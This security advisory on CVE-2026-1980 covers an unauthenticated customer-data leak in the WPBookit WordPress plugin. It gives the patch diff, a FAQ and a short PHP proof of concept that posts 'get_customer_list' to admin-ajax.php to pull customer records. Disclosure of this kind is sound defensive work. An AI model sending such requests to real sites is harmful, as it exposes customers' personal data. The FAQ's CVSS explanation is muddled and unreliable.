Atomic Edge analysis of CVE-2026-1980:
The vulnerability originates from a missing authorization check in the WPBookit plugin’s AJAX routing handler. The plugin defines a route ‘get_customer_list’ that maps to the WPBOOKIT_Customer_Controller@get_customer_list method. In versions up to 1.0.8, this route lacked both a ‘nonce’ requirement and a ‘permission’ requirement in the route definition array within class.wpb-admin-routes.php. The central AJAX request handler, wpb_ajax_get() in class.wpb-admin-routes-handler.php, only performed permission checks if a ‘permission’ key was explicitly set in the route configuration. Since the ‘get_customer_list’ route had no ‘permission’ key, the check was bypassed. The handler also lacked a mandatory login check for routes requiring a nonce. Attackers can exploit this by sending a GET or POST request to /wp-admin/admin-ajax.php with the ‘action’ parameter set to ‘get_customer_list’. No authentication or nonce is required. Successful exploitation returns a list of all customer records, exposing sensitive personal data including names, email addresses, phone numbers, dates of birth, and gender. The patch addresses the root cause by adding both ‘nonce => 1’ and ‘permission => “manage_options”‘ to the ‘get_customer_list’ route definition. It also adds a critical logic block to the wpb_ajax_get() function that first checks if a user is logged in for any route marked with ‘nonce => 1’, before verifying the nonce itself. This two-layer fix ensures that unauthenticated requests are blocked with a 401 error, and authenticated but unauthorized requests are blocked by the subsequent capability check.

CVE-2026-1980: WPBookit <= 1.0.8 – Missing Authorization to Unauthenticated Sensitive Customer Data Exposure (wpbookit)
CVE-2026-1980
wpbookit
1.0.8
1.0.9
Analysis Overview
Differential between vulnerable and patched code
--- a/wpbookit/core/admin/classes/class.wpb-admin-routes-handler.php
+++ b/wpbookit/core/admin/classes/class.wpb-admin-routes-handler.php
@@ -98,7 +98,7 @@
public function wpb_ajax_get() {
// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- This is for Settings display, not processing form data
- if ($_REQUEST === '') {
+ if ( empty( $_REQUEST ) ) {
$_REQUEST = json_decode(file_get_contents("php://input"), true);
}
@@ -127,6 +127,20 @@
throw new Exception($error, 405);
endif;
+ // Verify nonce if required
+ if (isset($route['nonce']) && $route['nonce'] === 1) :
+ if ( ! is_user_logged_in() ) {
+ $error = __('Authentication required.', 'wpbookit');
+ throw new Exception($error, 401);
+ }
+
+ $nonce = isset($_REQUEST['_ajax_nonce']) ? sanitize_text_field(wp_unslash($_REQUEST['_ajax_nonce'])) : '';
+ if (empty($nonce) || !wp_verify_nonce($nonce, 'wpb_ajax_nonce')) :
+ $error = __('Invalid nonce in request', 'wpbookit');
+ throw new Exception($error, 419);
+ endif;
+ endif;
+
// Check for permissions if defined in the route
if (isset($route['permission']) && !empty($route['permission'])) {
if (!is_user_logged_in() || !current_user_can($route['permission'])) {
--- a/wpbookit/core/admin/classes/class.wpb-admin-routes.php
+++ b/wpbookit/core/admin/classes/class.wpb-admin-routes.php
@@ -20,6 +20,8 @@
'method' => 'get',
'action' => 'WPBOOKIT_Home_Controller@get_dashboard_apt_revenue_date',
'module' => 'dashboard-controller',
+ 'nonce' => 1,
+ 'permission' => 'manage_options',
'dependency' => array(
IQWPB_PLUGIN_PATH . "core/admin/classes/settings/class.wpb-settings-page.php",
IQWPB_PLUGIN_PATH . "core/admin/classes/settings/class.wpb-settings-dashboard.php",
@@ -30,6 +32,7 @@
'method' => 'get',
'action' => 'WPBOOKIT_Booking_Controller@get_bookings',
'nonce' => 1,
+ 'permission' => 'manage_options',
'module' => 'booking-controller'
],
'add_booking' => [
@@ -147,6 +150,8 @@
'method' => 'get',
'action' => 'WPBOOKIT_Customer_Controller@get_customer_list',
'module' => 'customer-controller',
+ 'nonce' => 1,
+ 'permission' => 'manage_options',
'dependency' => array(
IQWPB_PLUGIN_PATH . "core/includes/wpb-core-functions.php",
IQWPB_PLUGIN_PATH . "core/admin/classes/settings/class.wpb-settings-page.php",
@@ -157,6 +162,8 @@
'method' => 'get',
'action' => 'WPBOOKIT_Guest_Controller@get_guest_list',
'module' => 'guest-controller',
+ 'nonce' => 1,
+ 'permission' => 'manage_options',
'dependency' => array(
IQWPB_PLUGIN_PATH . "core/includes/wpb-core-functions.php",
IQWPB_PLUGIN_PATH . "core/includes/wpb-guest-users-functions.php",
@@ -226,6 +233,7 @@
'method' => 'get',
'action' => 'WPBOOKIT_Booking_Controller@get_bookings_data',
'nonce' => 1,
+ 'permission' => 'manage_options',
'module' => 'booking-controller',
'dependency' => array(
IQWPB_PLUGIN_PATH . "core/includes/abstracts/abstract-wpb-data.php",
@@ -337,6 +345,7 @@
'method' => 'get',
'action' => 'WPBOOKIT_Calendar_Controller@get_calendar_booking',
'nonce' => 1,
+ 'permission' => 'manage_options',
'module' => 'calendar-controller'
],
--- a/wpbookit/core/admin/classes/controllers/class.wpb-booking-shortcode-controller.php
+++ b/wpbookit/core/admin/classes/controllers/class.wpb-booking-shortcode-controller.php
@@ -497,7 +497,7 @@
} else {
$user_id = get_current_user_id();
if ($request->has_param('wpb_user_name')) {
- update_user_meta($user_id, 'first_name', $request->get_param('wpb_user_name') ?? '');
+ update_user_meta($user_id, 'first_name', sanitize_text_field($request->get_param('wpb_user_name')) ?? '');
}
if (wpbookit_get_general_settings()['booking_limit'] != 'no-limit') {
@@ -531,8 +531,8 @@
$booking_data = array(
'booking_type_id' => $booking_type_instance->get_id(),
'customer_id' => 0,
- 'booking_name' => $request->has_param('wpb_user_name') ? $request->get_param('wpb_user_name') : $request->get_param('wpb_user_first_name') . ' ' . $request->get_param('wpb_user_last_name'),
- 'booking_email' => strtolower($request->get_param('wpb_user_email')),
+ 'booking_name' => sanitize_text_field($request->has_param('wpb_user_name') ? $request->get_param('wpb_user_name') : $request->get_param('wpb_user_first_name') . ' ' . $request->get_param('wpb_user_last_name')),
+ 'booking_email' => strtolower(sanitize_email($request->get_param('wpb_user_email'))),
'booking_type' => $booking_type_instance->get_name('view'),
'booking_date' => date('Y-m-d', $timestamp),//phpcs:ignore WordPress.DateTime.RestrictedFunctions.date_date
'timeslot' => date('H:i:s', $current_timeslot),//phpcs:ignore WordPress.DateTime.RestrictedFunctions.date_date
@@ -549,10 +549,10 @@
'time_24h' => date('H:i:s', $current_timeslot),//phpcs:ignore WordPress.DateTime.RestrictedFunctions.date_date
'interval' => $booking_type_instance->get_duration(),
'google_meet_status' => isset($google_meet_settings['google_meet_status']) ? $google_meet_settings['google_meet_status'] : 'off',
- 'booking_name' => $request->has_param('wpb_user_name') ? $request->get_param('wpb_user_name') : $request->get_param('wpb_user_first_name') . ' ' . $request->get_param('wpb_user_last_name'),
- 'booking_email' => strtolower($request->get_param('wpb_user_email')),
+ 'booking_name' => sanitize_text_field($request->has_param('wpb_user_name') ? $request->get_param('wpb_user_name') : $request->get_param('wpb_user_first_name') . ' ' . $request->get_param('wpb_user_last_name')),
+ 'booking_email' => strtolower(sanitize_email($request->get_param('wpb_user_email'))),
'is_guest_mode' => $is_guest_mode,
- 'phone_number' => $request->has_param('wpb_user_phone_number') && !empty($request->get_param('wpb_user_phone_number')) ? $request->get_param('wpb_user_phone_number') : '',
+ 'phone_number' => $request->has_param('wpb_user_phone_number') && !empty($request->get_param('wpb_user_phone_number')) ? sanitize_text_field($request->get_param('wpb_user_phone_number')) : '',
'request_data' => $request->get_params(),
);
@@ -581,7 +581,7 @@
if ($request->has_param('wpb-booking_question')) {
$question_ans = [];
foreach (json_decode($booking_type_instance->get_meta('questions'), true) as $key => $value) {
- $value['ans'] = $request->get_param('wpb-booking_question')[$value['questionId']];
+ $value['ans'] = sanitize_text_field($request->get_param('wpb-booking_question')[$value['questionId']]);
$question_ans[] = $value;
}
update_metadata('wpb_bookings', (int)$booking_id, 'questions_answers', wp_json_encode($question_ans), '');
--- a/wpbookit/core/admin/classes/controllers/class.wpb-setting-controller.php
+++ b/wpbookit/core/admin/classes/controllers/class.wpb-setting-controller.php
@@ -7,6 +7,7 @@
update_option( 'wpbookit_general_setting_data', $request_data);
$permalink_Handler = new Booking_Type_Handler();
$permalink_Handler->add_booking_type_rewrite_rule([ ]);
+ flush_rewrite_rules();
$response_data = array(
"status" => 'success',
'message' => esc_html__("Settings Saved Successfully!", 'wpbookit')
--- a/wpbookit/wpbookit.php
+++ b/wpbookit/wpbookit.php
@@ -5,7 +5,7 @@
* Plugin Name: WPBookit
* Plugin URI: https://wpbookit.com
* Description: WPBookit is a comprehensive WordPress plugin that streamlines appointment bookings and enhances user experience, ideal for businesses of all sizes. Manage reservations effortlessly directly from your WordPress site.
- * Version: 1.0.8
+ * Version: 1.0.9
* Author: Iqonic Design
* Author URI: https://iqonic.design
* Text Domain: wpbookit
@@ -49,7 +49,7 @@
// Plugin version
if(!defined('IQWPB_VERSION')){
- define( 'IQWPB_VERSION', '1.0.8' );
+ define( 'IQWPB_VERSION', '1.0.9' );
}
if (!defined('IQWPB_PLUGIN_FILE')) {
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1980 - WPBookit <= 1.0.8 - Missing Authorization to Unauthenticated Sensitive Customer Data Exposure
<?php
$target_url = 'http://vulnerable-site.com/wp-admin/admin-ajax.php';
// The exploit targets the plugin's AJAX handler.
// The 'action' parameter must be set to the vulnerable route 'get_customer_list'.
$post_data = [
'action' => 'get_customer_list'
];
// Initialize cURL session.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// Execute the request. No authentication headers or cookies are needed.
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Check the response.
echo "HTTP Status: $http_coden";
echo "Response Body:n";
echo $response;
// A successful exploit will return a JSON array containing customer objects.
// The response structure will vary based on plugin data.
?>
Frequently Asked Questions
What is CVE-2026-1980?
Overview of the vulnerabilityCVE-2026-1980 is a vulnerability in the WPBookit plugin for WordPress, affecting versions up to and including 1.0.8. It allows unauthenticated attackers to access sensitive customer data due to a missing authorization check on the ‘get_customer_list’ AJAX route.
How does this vulnerability work?
Mechanism of exploitationThe vulnerability arises from the absence of a nonce and permission checks in the AJAX routing for the ‘get_customer_list’ action. Attackers can send requests to the AJAX endpoint without authentication, retrieving sensitive customer information such as names, emails, and phone numbers.
Who is affected by this vulnerability?
Identifying vulnerable installationsAny WordPress site using the WPBookit plugin version 1.0.8 or earlier is at risk. Administrators should check their plugin version and update if necessary to mitigate exposure.
How can I check if my site is vulnerable?
Version verification stepsTo determine if your site is vulnerable, check the version of the WPBookit plugin installed on your WordPress site. If it is version 1.0.8 or earlier, your site is at risk and should be updated immediately.
How can I fix this vulnerability?
Steps to secure your siteThe vulnerability is patched in version 1.0.9 of the WPBookit plugin. Update your plugin to this version or later to ensure that the necessary authorization checks are in place.
What does a CVSS score of 5.3 indicate?
Understanding risk levelsA CVSS score of 5.3 indicates a medium severity level. This means that while the vulnerability poses a significant risk, it requires specific conditions to be exploited, such as the attacker being unauthenticated.
What are the practical risks of this vulnerability?
Potential impact on customer dataThe practical risks include unauthorized exposure of sensitive customer data, which could lead to privacy breaches and potential misuse of personal information. This could damage the reputation of the affected site and violate data protection regulations.
What is a proof of concept (PoC)?
Demonstrating the vulnerabilityA proof of concept is a demonstration that shows how a vulnerability can be exploited. In this case, the PoC provided illustrates how an attacker can send a request to the vulnerable AJAX endpoint to retrieve customer data without authentication.
How does the provided PoC exploit the vulnerability?
Technical details of the PoCThe PoC uses a cURL request to the vulnerable AJAX endpoint with the action parameter set to ‘get_customer_list’. It does not require authentication, allowing the attacker to receive sensitive customer information in the response.
What measures can I take to mitigate risks if I cannot update immediately?
Temporary security practicesIf immediate updating is not possible, consider restricting access to the AJAX endpoint through server-level configurations or plugins that limit access to authenticated users. However, this is a temporary measure and updating is strongly recommended.
What should I do if I suspect my data has been compromised?
Response to potential data breachesIf you suspect that your customer data has been compromised, take immediate action to secure your site by updating the plugin. Notify affected customers about the breach and consider consulting legal advice regarding data protection obligations.
Where can I find more information about CVE-2026-1980?
Resources for further detailsFurther information about CVE-2026-1980 can be found on the National Vulnerability Database or security advisories related to the WPBookit plugin. These resources provide detailed insights and updates regarding the vulnerability.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






